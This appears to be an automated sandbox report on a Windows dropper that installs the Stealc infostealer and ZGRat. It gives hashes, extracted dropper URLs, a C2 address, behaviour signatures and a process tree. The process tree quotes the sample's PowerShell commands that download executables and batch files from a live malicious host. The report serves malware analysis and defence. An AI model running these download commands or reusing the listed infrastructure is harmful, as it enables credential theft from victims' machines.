Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-05-2024 08:26

General

  • Target

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe

  • Size

    49KB

  • MD5

    213c0265511727869c959abd24ea3677

  • SHA1

    22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9

  • SHA256

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7

  • SHA512

    bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
    "C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4584
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsz4660.tmp\est.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3292
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2356
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3420
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4944
        • C:\Users\Admin\AppData\Local\Temp\u3tc.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u3tc.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:628
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 628 -s 2404
            5⤵
            • Program crash
            PID:1208
        • C:\Users\Admin\AppData\Local\Temp\u3tc.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u3tc.1.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2336
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4136
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4944 -s 1156
          4⤵
          • Program crash
          PID:544
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4744
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4944 -ip 4944
    1⤵
      PID:4520
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 628 -ip 628
      1⤵
        PID:724

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Are.docx

        Filesize

        11KB

        MD5

        a33e5b189842c5867f46566bdbf7a095

        SHA1

        e1c06359f6a76da90d19e8fd95e79c832edb3196

        SHA256

        5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

        SHA512

        f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

      • C:\ProgramData\mozglue.dll

        Filesize

        593KB

        MD5

        c8fd9be83bc728cc04beffafc2907fe9

        SHA1

        95ab9f701e0024cedfbd312bcfe4e726744c4f2e

        SHA256

        ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

        SHA512

        fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

      • C:\ProgramData\nss3.dll

        Filesize

        2.0MB

        MD5

        1cc453cdf74f31e4d913ff9c10acdde2

        SHA1

        6e85eae544d6e965f15fa5c39700fa7202f3aafe

        SHA256

        ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

        SHA512

        dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        1KB

        MD5

        4280e36a29fa31c01e4d8b2ba726a0d8

        SHA1

        c485c2c9ce0a99747b18d899b71dfa9a64dabe32

        SHA256

        e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

        SHA512

        494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        16KB

        MD5

        8ea5744eda998b9b22800447be830aae

        SHA1

        6cc3315d1283cfeae08287e56492e722028d8dfe

        SHA256

        c233dba76f23ee01142a8055ab90d6de76efec4cfad2a24a1ba8d193427c7048

        SHA512

        36096c462946f5be4de818ca6b9197541dff168645aa64ca7e0891161c5773f8e82b847392ad2d1afb81fd6f57759e8edc895b5dbaa2871f327e5c36ec59355f

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        16KB

        MD5

        a49c1846790ffc87183f3bfb4b8d663c

        SHA1

        b73c145eecb0ee7af4d7f854ec15084967f4e73a

        SHA256

        978b533b988203cb328cfa6801dc6839dfdb85ee04a828441c3fddaa87596dd5

        SHA512

        b80c5051b4ce9cf6639468a0b658053c443765873e988e9fe41dbe4aa1dd4f53b8ba0f8ca3d223e32a9aa596805df48f748d51eb1a51d6c8628b65c656c4f750

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybxygzry.2k3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\i1.exe

        Filesize

        372KB

        MD5

        310310bb16aa8aa907755ccf941932da

        SHA1

        875575b9a129cc000ecd7cf746946c52493be93f

        SHA256

        7ceec2cc762930cc62d97a10cfbe8fb4e14070847fdfac1e6ba3aa7e022f7d78

        SHA512

        57ef834e7df28be011c4e047ce1ac1ec499da4cb3d1793370a9382380b649a1855834009c2144b2418ef5e4ae4c7d3d59781407ced5be28389dbc17a44ca584f

      • C:\Users\Admin\AppData\Local\Temp\nsz4660.tmp\INetC.dll

        Filesize

        25KB

        MD5

        40d7eca32b2f4d29db98715dd45bfac5

        SHA1

        124df3f617f562e46095776454e1c0c7bb791cc7

        SHA256

        85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

        SHA512

        5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

      • C:\Users\Admin\AppData\Local\Temp\nsz4660.tmp\est.bat

        Filesize

        735B

        MD5

        f32d05160acf8325e9a09f09f80d16f4

        SHA1

        46e159b71e6ef99076c4002e1fda134e1d0a86c9

        SHA256

        da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37

        SHA512

        147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b

      • C:\Users\Admin\AppData\Local\Temp\u3tc.0.exe

        Filesize

        230KB

        MD5

        adaa7779ccd1879d9466706724ca2974

        SHA1

        af546b538b5362ee19131e8d30b633c817417d15

        SHA256

        7109bdc186a84c29affbe2882b747b8c32587ce4e8d4b39e770faa06d94431d8

        SHA512

        96fa1c074b4f268393f17b400711898178ce8479272d5b6ca1405568dbe63cc618b46bfb5b80a8b97a7a796f6d4b60c3727beb2b2a13d7e749b3746b736bff87

      • C:\Users\Admin\AppData\Local\Temp\u3tc.1.exe

        Filesize

        4.6MB

        MD5

        397926927bca55be4a77839b1c44de6e

        SHA1

        e10f3434ef3021c399dbba047832f02b3c898dbd

        SHA256

        4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

        SHA512

        cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

      • memory/628-236-0x0000000000400000-0x0000000002575000-memory.dmp

        Filesize

        33.5MB

      • memory/628-108-0x0000000061E00000-0x0000000061EF3000-memory.dmp

        Filesize

        972KB

      • memory/628-147-0x0000000000400000-0x0000000002575000-memory.dmp

        Filesize

        33.5MB

      • memory/628-243-0x0000000000400000-0x0000000002575000-memory.dmp

        Filesize

        33.5MB

      • memory/2336-189-0x0000000000400000-0x00000000008AD000-memory.dmp

        Filesize

        4.7MB

      • memory/2336-201-0x0000000000400000-0x00000000008AD000-memory.dmp

        Filesize

        4.7MB

      • memory/2356-38-0x00000000069E0000-0x00000000069FA000-memory.dmp

        Filesize

        104KB

      • memory/2356-30-0x0000000005F30000-0x0000000006284000-memory.dmp

        Filesize

        3.3MB

      • memory/2356-20-0x00000000730F0000-0x00000000738A0000-memory.dmp

        Filesize

        7.7MB

      • memory/2356-22-0x0000000005510000-0x0000000005532000-memory.dmp

        Filesize

        136KB

      • memory/2356-23-0x0000000005DE0000-0x0000000005E46000-memory.dmp

        Filesize

        408KB

      • memory/2356-24-0x0000000005EC0000-0x0000000005F26000-memory.dmp

        Filesize

        408KB

      • memory/2356-41-0x00000000730F0000-0x00000000738A0000-memory.dmp

        Filesize

        7.7MB

      • memory/2356-18-0x00000000730FE000-0x00000000730FF000-memory.dmp

        Filesize

        4KB

      • memory/2356-37-0x0000000007D50000-0x00000000083CA000-memory.dmp

        Filesize

        6.5MB

      • memory/2356-19-0x0000000002F00000-0x0000000002F36000-memory.dmp

        Filesize

        216KB

      • memory/2356-36-0x0000000006510000-0x000000000655C000-memory.dmp

        Filesize

        304KB

      • memory/2356-21-0x0000000005580000-0x0000000005BA8000-memory.dmp

        Filesize

        6.2MB

      • memory/2356-35-0x00000000064E0000-0x00000000064FE000-memory.dmp

        Filesize

        120KB

      • memory/3420-54-0x00000000060E0000-0x0000000006434000-memory.dmp

        Filesize

        3.3MB

      • memory/3420-43-0x00000000730F0000-0x00000000738A0000-memory.dmp

        Filesize

        7.7MB

      • memory/3420-59-0x00000000730F0000-0x00000000738A0000-memory.dmp

        Filesize

        7.7MB

      • memory/3420-44-0x00000000730F0000-0x00000000738A0000-memory.dmp

        Filesize

        7.7MB

      • memory/3420-55-0x00000000730F0000-0x00000000738A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4136-207-0x0000025D519C0000-0x0000025D519E4000-memory.dmp

        Filesize

        144KB

      • memory/4136-219-0x0000025D56350000-0x0000025D56358000-memory.dmp

        Filesize

        32KB

      • memory/4136-204-0x0000025D38150000-0x0000025D38160000-memory.dmp

        Filesize

        64KB

      • memory/4136-205-0x0000025D51970000-0x0000025D5197C000-memory.dmp

        Filesize

        48KB

      • memory/4136-206-0x0000025D38290000-0x0000025D382A4000-memory.dmp

        Filesize

        80KB

      • memory/4136-202-0x0000025D32C60000-0x0000025D36494000-memory.dmp

        Filesize

        56.2MB

      • memory/4136-208-0x0000025D519E0000-0x0000025D519EA000-memory.dmp

        Filesize

        40KB

      • memory/4136-209-0x0000025D51A10000-0x0000025D51A3A000-memory.dmp

        Filesize

        168KB

      • memory/4136-210-0x0000025D51DB0000-0x0000025D51E62000-memory.dmp

        Filesize

        712KB

      • memory/4136-211-0x0000025D51EB0000-0x0000025D51F00000-memory.dmp

        Filesize

        320KB

      • memory/4136-212-0x0000025D51F00000-0x0000025D51F22000-memory.dmp

        Filesize

        136KB

      • memory/4136-213-0x0000025D519F0000-0x0000025D519FA000-memory.dmp

        Filesize

        40KB

      • memory/4136-217-0x0000025D51F30000-0x0000025D52230000-memory.dmp

        Filesize

        3.0MB

      • memory/4136-203-0x0000025D51B50000-0x0000025D51C5A000-memory.dmp

        Filesize

        1.0MB

      • memory/4136-220-0x0000025D562D0000-0x0000025D56308000-memory.dmp

        Filesize

        224KB

      • memory/4136-221-0x0000025D562A0000-0x0000025D562AE000-memory.dmp

        Filesize

        56KB

      • memory/4136-222-0x0000025D562C0000-0x0000025D562C8000-memory.dmp

        Filesize

        32KB

      • memory/4136-224-0x0000025D57420000-0x0000025D57482000-memory.dmp

        Filesize

        392KB

      • memory/4136-225-0x0000025D57480000-0x0000025D574A2000-memory.dmp

        Filesize

        136KB

      • memory/4136-223-0x0000025D57400000-0x0000025D5740A000-memory.dmp

        Filesize

        40KB

      • memory/4136-226-0x0000025D579D0000-0x0000025D57EF8000-memory.dmp

        Filesize

        5.2MB

      • memory/4136-229-0x0000025D56980000-0x0000025D5698C000-memory.dmp

        Filesize

        48KB

      • memory/4136-234-0x0000025D56A60000-0x0000025D56AD6000-memory.dmp

        Filesize

        472KB

      • memory/4136-241-0x0000025D52250000-0x0000025D5226E000-memory.dmp

        Filesize

        120KB

      • memory/4944-87-0x0000000000400000-0x0000000002599000-memory.dmp

        Filesize

        33.6MB

      • memory/4944-103-0x0000000000400000-0x0000000002599000-memory.dmp

        Filesize

        33.6MB

      • memory/4944-77-0x0000000000400000-0x0000000002599000-memory.dmp

        Filesize

        33.6MB